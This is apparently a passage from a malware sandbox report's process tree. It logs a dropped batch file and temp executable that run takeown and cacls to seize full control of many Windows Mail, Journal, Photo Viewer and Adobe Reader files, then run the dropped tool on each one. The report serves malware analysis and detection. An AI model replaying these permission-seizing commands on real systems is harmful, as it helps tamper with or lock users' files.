C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1420
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
- Loads dropped DLL
PID:1848 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵PID:836
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "wabmig.exe" -nobanner3⤵
- Loads dropped DLL
PID:1932 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "wabmig.exe" -nobanner4⤵
- Executes dropped EXE
PID:940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""2⤵
- Loads dropped DLL
PID:1108 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵PID:1232
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
- Loads dropped DLL
PID:2020 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
- Executes dropped EXE
PID:2004
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1780
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
- Loads dropped DLL
PID:2000 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵PID:1372
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:340
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:1928 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:732
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1104
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui""2⤵
- Loads dropped DLL
PID:616 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵PID:2044
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:868
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:1312 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:972
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1444
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp""2⤵
- Loads dropped DLL
PID:1820 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp" /E /G Admin:F /C3⤵PID:980
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Month_Calendar.jtp" -nobanner3⤵
- Loads dropped DLL
PID:1328 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Month_Calendar.jtp" -nobanner4⤵
- Executes dropped EXE
PID:1960
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:764
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
- Loads dropped DLL
PID:836 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵PID:732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Loads dropped DLL
PID:1196 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
PID:1532
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:316
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\PDIALOG.exe""2⤵
- Loads dropped DLL
PID:1492 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\PDIALOG.exe" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\PDIALOG.exe"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:336
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PDIALOG.exe" -nobanner3⤵
- Loads dropped DLL
PID:1888 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PDIALOG.exe" -nobanner4⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1108
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Shorthand.jtp""2⤵
- Loads dropped DLL
PID:2008 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Shorthand.jtp" /E /G Admin:F /C3⤵PID:1960
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Shorthand.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1880
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Shorthand.jtp" -nobanner3⤵
- Loads dropped DLL
PID:856 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Shorthand.jtp" -nobanner4⤵
- Executes dropped EXE
PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1624
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""2⤵PID:1932
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵PID:1532
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ImagingDevices.exe" -nobanner3⤵PID:316
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
- Executes dropped EXE
PID:940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵PID:2020
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
- Modifies file permissions
PID:1308
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵PID:1776
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1328
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html""2⤵PID:564
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html" /E /G Admin:F /C3⤵PID:1120
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html"3⤵PID:1104
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "license.html" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "license.html" -nobanner4⤵PID:968
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1048
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵PID:1232
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵PID:1544
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "cryptocme2.sig" -nobanner3⤵PID:972
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "cryptocme2.sig" -nobanner4⤵PID:1444
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1932
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1012
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵PID:1372
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵PID:336
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Memo.jtp""2⤵PID:928
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Memo.jtp" /E /G Admin:F /C3⤵PID:968
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Memo.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Memo.jtp" -nobanner3⤵PID:1928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Memo.jtp" -nobanner4⤵PID:956
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1312
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Mail\WinMail.exe""2⤵PID:1184
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G Admin:F /C3⤵PID:1444
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\WinMail.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:416
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "WinMail.exe" -nobanner3⤵PID:340
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "WinMail.exe" -nobanner4⤵PID:1248
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1160
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵PID:1880
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵PID:1308
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
- Modifies file permissions
PID:328
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "eula.ini" -nobanner3⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "eula.ini" -nobanner4⤵PID:2000
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:596
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵PID:1544
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵PID:732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
- Modifies file permissions
PID:972
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "AcroSign.prc" -nobanner3⤵PID:1444
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "AcroSign.prc" -nobanner4⤵PID:980
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:868
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\blank.jtp""2⤵PID:1776
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\blank.jtp" /E /G Admin:F /C3⤵PID:1644
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\blank.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "blank.jtp" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "blank.jtp" -nobanner4⤵PID:1976
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1900
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp""2⤵PID:1700
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1104
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "To_Do_List.jtp" -nobanner3⤵PID:1308
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "To_Do_List.jtp" -nobanner4⤵PID:2044
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1048
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵PID:596
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C3⤵PID:1832
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"3⤵PID:1168
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "AUMProduct.cer" -nobanner3⤵PID:2004
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "AUMProduct.cer" -nobanner4⤵PID:1932
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui""2⤵PID:1896
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui" /E /G Admin:F /C3⤵PID:868
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:240
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵PID:1756
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵PID:1212
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Music.jtp""2⤵PID:1900
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Music.jtp" /E /G Admin:F /C3⤵PID:792
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Music.jtp"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Music.jtp" -nobanner3⤵PID:1120
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Music.jtp" -nobanner4⤵PID:564
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:968
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵PID:1048
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵PID:1108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵PID:1168
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵PID:1480
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵PID:624
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵PID:340
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵
- Modifies file permissions
PID:1160
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "LogTransport2.exe" -nobanner3⤵PID:240
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "LogTransport2.exe" -nobanner4⤵PID:1976
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc""2⤵PID:1004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc" /E /G Admin:F /C3⤵PID:764
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc"3⤵PID:1364
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "adobepdf.xdc" -nobanner3⤵PID:1624
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "adobepdf.xdc" -nobanner4⤵PID:2044
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1100
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵PID:1096
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵PID:992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵PID:1108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MyriadCAD.otf" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MyriadCAD.otf" -nobanner4⤵PID:1412
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:972
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵PID:1048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
- Modifies file permissions
PID:868
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "create_form.gif" -nobanner3⤵PID:340
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "create_form.gif" -nobanner4⤵PID:1160
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1976
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵PID:1540
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵PID:624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "email_all.gif" -nobanner3⤵PID:2008
-
